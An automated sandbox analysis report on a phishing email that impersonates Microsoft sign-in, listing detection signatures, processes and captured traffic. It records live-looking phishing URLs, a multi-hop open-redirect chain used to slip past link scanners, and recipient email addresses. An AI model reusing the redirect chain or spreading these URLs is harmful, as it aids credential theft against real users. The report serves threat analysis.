Edit tour

Windows Analysis Report
FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg

Overview

General Information

Sample name:	FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg
Analysis ID:	1528365
MD5:	bda90a669331a24de6e58ca539a7bf78
SHA1:	9f87fd8b20e2f5136f8b2a1ea3f820c3300a9db6
SHA256:	22831befdeb39560d3022a59253e513c213bf01e68ea824851092e6e5e06b623
Infos:

Detection

HTMLPhisher

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

AI detected landing page (webpage, office document or email)

HTML page contains suspicious javascript code

Phishing site detected (based on favicon image match)

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Invalid 'forgot password' link found

Invalid 'sign-in options' or 'sign-up' link found

JA3 SSL client fingerprint seen in connection with other malware

Queries the volume information (name, serial number etc) of a device

Sigma detected: Office Autorun Keys Modification

Stores files to the Windows start menu directory

Submit button contains javascript call

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64_ra

OUTLOOK.EXE (PID: 6928 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg" MD5: 91A5292942864110ED734005B7E005C0)

ai.exe (PID: 6900 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "B3E3ED68-E3F6-4C84-A398-33E99E7B63A5" "509AA02B-1097-4684-B4A7-E5EB26F7509D" "6928" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)

chrome.exe (PID: 6912 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Furl.avanan.click%2Fv2%2Fr01%2F___https%3A%2F%2Fwww.tiktok.com%2FqnspdA7%3Ffni%3D6cbb%26qfsl%3Djs%26xhjsj%3Dgnt_zwq%26yfwljy%3Dmyyux%3AddBBB.lttlqj.hfdzwq%3Fv%3DfrudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA%23ZHN5aHJlQG9sZ29vbmlrLmNvbQ%3D%3D&data=05%7C02%7Cjperez%40olgoonik.com%7Cc9269c5239e84553ed1a08dce70166e8%7C341c5aad39be47a3901e146d297ecd80%7C0%7C0%7C638639240423326200%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=svbAeKmNNDcGVia9VKR8vQQD58dfOWPYl9pqz2YfAw0%3D&reserved=0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 616 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1912,i,10919333991818839902,5121164596706784509,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6248 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Furl.avanan.click%2Fv2%2Fr01%2F___https%3A%2F%2Fwww.tiktok.com%2FqnspdA7%3Ffni%3D6cbb%26qfsl%3Djs%26xhjsj%3Dgnt_zwq%26yfwljy%3Dmyyux%3AddBBB.lttlqj.hfdzwq%3Fv%3DfrudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA%23ZHN5aHJlQG9sZ29vbmlrLmNvbQ%3D%3D&data=05%7C02%7Cjperez%40olgoonik.com%7Cc9269c5239e84553ed1a08dce70166e8%7C341c5aad39be47a3901e146d297ecd80%7C0%7C0%7C638639240423326200%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=svbAeKmNNDcGVia9VKR8vQQD58dfOWPYl9pqz2YfAw0%3D&reserved=0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1176 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2028,i,5372999462618525126,16104057592058770167,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Sigma Signatures

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 6928, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\OneNote.OutlookAddin\1

Suricata Signatures

ET PHISHING [TW] NOTG Check Add User URL Struct

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T20:59:37.850704+0200	2047983	2	Possible Social Engineering Attempted	192.168.2.16	49808	104.21.57.143	443	TCP
2024-10-07T20:59:45.690069+0200	2047983	2	Possible Social Engineering Attempted	192.168.2.16	49814	104.21.57.143	443	TCP
2024-10-07T20:59:51.985201+0200	2047983	2	Possible Social Engineering Attempted	192.168.2.16	49820	104.21.57.143	443	TCP

ET PHISHING [TW] NOTG Check Expirations URL Struct

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T20:59:30.863258+0200	2047981	2	Possible Social Engineering Attempted	192.168.2.16	49797	104.21.57.143	443	TCP

ET PHISHING [TW] NOTG Obfuscation Redirect Observed M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T20:59:05.989361+0200	2047978	2	Possible Social Engineering Attempted	192.168.2.16	49741	104.21.57.143	443	TCP

ET PHISHING [TW] NOTG Password URL Struct

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T20:59:48.964904+0200	2047982	2	Possible Social Engineering Attempted	192.168.2.16	49802	104.21.57.143	443	TCP

ET PHISHING [TW] NOTG Redirect URL Struct

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T20:59:30.763764+0200	2047980	2	Possible Social Engineering Attempted	192.168.2.16	49796	104.21.57.143	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==

LLM: Score: 9 Reasons: The brand 'Microsoft Security' is associated with Microsoft, a well-known company., The URL 'pub-80685e4418f74026adc8912a5ab063db.r2.dev' does not match the legitimate domain 'microsoft.com'., The URL contains a random string and uses the 'r2.dev' domain, which is not associated with Microsoft., The use of a subdomain with a random string is a common tactic in phishing attempts., The domain 'r2.dev' is not a recognized domain for Microsoft services. DOM: 0.1.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 0.3.pages.csv, type: HTML
Source: Yara match	File source: 0.4.pages.csv, type: HTML

HTML page contains suspicious javascript code

Source: https://fidgetvfx.nz/.amg/#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==

HTTP Parser: window.location.href = atob(

Phishing site detected (based on favicon image match)

Source: https://fidgetvfx.nz/.amg/#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	Matcher: Template: microsoft matched with high similarity
Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	Matcher: Template: microsoft matched with high similarity

Phishing site detected (based on image similarity)

Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==

Matcher: Template: microsoft matched

Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==

HTTP Parser: Number of links: 0

Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==

HTTP Parser: Total embedded image size: 73676

Source: https://fidgetvfx.nz/.amg/#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==

HTTP Parser: Base64 decoded: https://x.com

Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==

HTTP Parser: Invalid link: reset it now.

Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==

HTTP Parser: Invalid link: get a new Microsoft account

Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	HTTP Parser: On click: $('#work-or-shcool').hide();$('#i0281').show();
Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	HTTP Parser: On click: $('#work-or-shcool').hide();$('#i0281').show();

Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==

HTTP Parser: <input type="password" .../> found

Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	HTTP Parser: No favicon
Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	HTTP Parser: No favicon
Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	HTTP Parser: No favicon

Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	HTTP Parser: No <meta name="author".. found
Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	HTTP Parser: No <meta name="author".. found

Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.23:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49731 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: nam04.safelinks.protection.outlook.com to https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspda7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddbbb.lttlqj.hfdzwq?v=frudxdkniljyakc.sed.frl___.yxazonnvdxrozxjua2l0y2hlbmfuzgdyawxsome6bzo2mgy0zmi3mtkzodq4owriogflzjy2odi4odlkmdk3ndo3omrlyjy6nji5yzkxzjfmnmq3zji1nwixn2uwyti5ztnmzjcymtqyntg3nmzhmdqyowzlmdi4mdhmodrlnwvhywu3mjjhzdpoolq6va#zhn5ahjlqg9sz29vbmlrlmnvbq==
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: url.avanan.click to https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https://www.google.ca/url?q=amp/s/fidgetvfx.nz/.amg
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: www.google.ca to https://fidgetvfx.nz/.amg
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: nam04.safelinks.protection.outlook.com to https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspda7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddbbb.lttlqj.hfdzwq?v=frudxdkniljyakc.sed.frl___.yxazonnvdxrozxjua2l0y2hlbmfuzgdyawxsome6bzo2mgy0zmi3mtkzodq4owriogflzjy2odi4odlkmdk3ndo3omrlyjy6nji5yzkxzjfmnmq3zji1nwixn2uwyti5ztnmzjcymtqyntg3nmzhmdqyowzlmdi4mdhmodrlnwvhywu3mjjhzdpoolq6va#zhn5ahjlqg9sz29vbmlrlmnvbq==
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: url.avanan.click to https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https://www.google.ca/url?q=amp/s/fidgetvfx.nz/.amg
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: www.google.ca to https://fidgetvfx.nz/.amg

Source: Joe Sandbox View	IP Address: 104.47.74.28 104.47.74.28
Source: Joe Sandbox View	IP Address: 172.66.0.235 172.66.0.235
Source: Joe Sandbox View	IP Address: 172.66.0.235 172.66.0.235

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2047978 - Severity 2 - ET PHISHING [TW] NOTG Obfuscation Redirect Observed M1 : 192.168.2.16:49741 -> 104.21.57.143:443
Source: Network traffic	Suricata IDS: 2047980 - Severity 2 - ET PHISHING [TW] NOTG Redirect URL Struct : 192.168.2.16:49796 -> 104.21.57.143:443
Source: Network traffic	Suricata IDS: 2047981 - Severity 2 - ET PHISHING [TW] NOTG Check Expirations URL Struct : 192.168.2.16:49797 -> 104.21.57.143:443
Source: Network traffic	Suricata IDS: 2047983 - Severity 2 - ET PHISHING [TW] NOTG Check Add User URL Struct : 192.168.2.16:49808 -> 104.21.57.143:443
Source: Network traffic	Suricata IDS: 2047982 - Severity 2 - ET PHISHING [TW] NOTG Password URL Struct : 192.168.2.16:49802 -> 104.21.57.143:443
Source: Network traffic	Suricata IDS: 2047983 - Severity 2 - ET PHISHING [TW] NOTG Check Add User URL Struct : 192.168.2.16:49820 -> 104.21.57.143:443
Source: Network traffic	Suricata IDS: 2047983 - Severity 2 - ET PHISHING [TW] NOTG Check Add User URL Struct : 192.168.2.16:49814 -> 104.21.57.143:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.23
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.23
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.23
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.23
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.23

Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=N2s2zh+xoLSoBYy&MD=WN3brtBL HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /?url=https%3A%2F%2Furl.avanan.click%2Fv2%2Fr01%2F___https%3A%2F%2Fwww.tiktok.com%2FqnspdA7%3Ffni%3D6cbb%26qfsl%3Djs%26xhjsj%3Dgnt_zwq%26yfwljy%3Dmyyux%3AddBBB.lttlqj.hfdzwq%3Fv%3DfrudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA%23ZHN5aHJlQG9sZ29vbmlrLmNvbQ%3D%3D&data=05%7C02%7Cjperez%40olgoonik.com%7Cc9269c5239e84553ed1a08dce70166e8%7C341c5aad39be47a3901e146d297ecd80%7C0%7C0%7C638639240423326200%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=svbAeKmNNDcGVia9VKR8vQQD58dfOWPYl9pqz2YfAw0%3D&reserved=0 HTTP/1.1Host: nam04.safelinks.protection.outlook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA HTTP/1.1Host: url.avanan.clickConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /url?q=amp%2Fs%2Ffidgetvfx.nz%2F.amg&safe=active HTTP/1.1Host: www.google.caConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /amp/s/fidgetvfx.nz/.amg HTTP/1.1Host: www.google.caConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=518=eHZl7kMt6CPMmlrseouBRf1jY2KF-jpcx1Rj7ZX46_W1_nUlOd532aLom3AHX27cF8VAdpQaEVZSSRmRRcgR5UKvNwlYpp8svjWBL_Zs85rASA36Tdwo05-_879fjZ8NQqu062Baord6K7QJmXb6q24s0Uohmtj-qRnSr_9Th5aeoDdodMc7vLws8plkqPpv
Source: global traffic	HTTP traffic detected: GET /.amg HTTP/1.1Host: fidgetvfx.nzConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.amg/ HTTP/1.1Host: fidgetvfx.nzConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: fidgetvfx.nzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fidgetvfx.nz/.amg/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
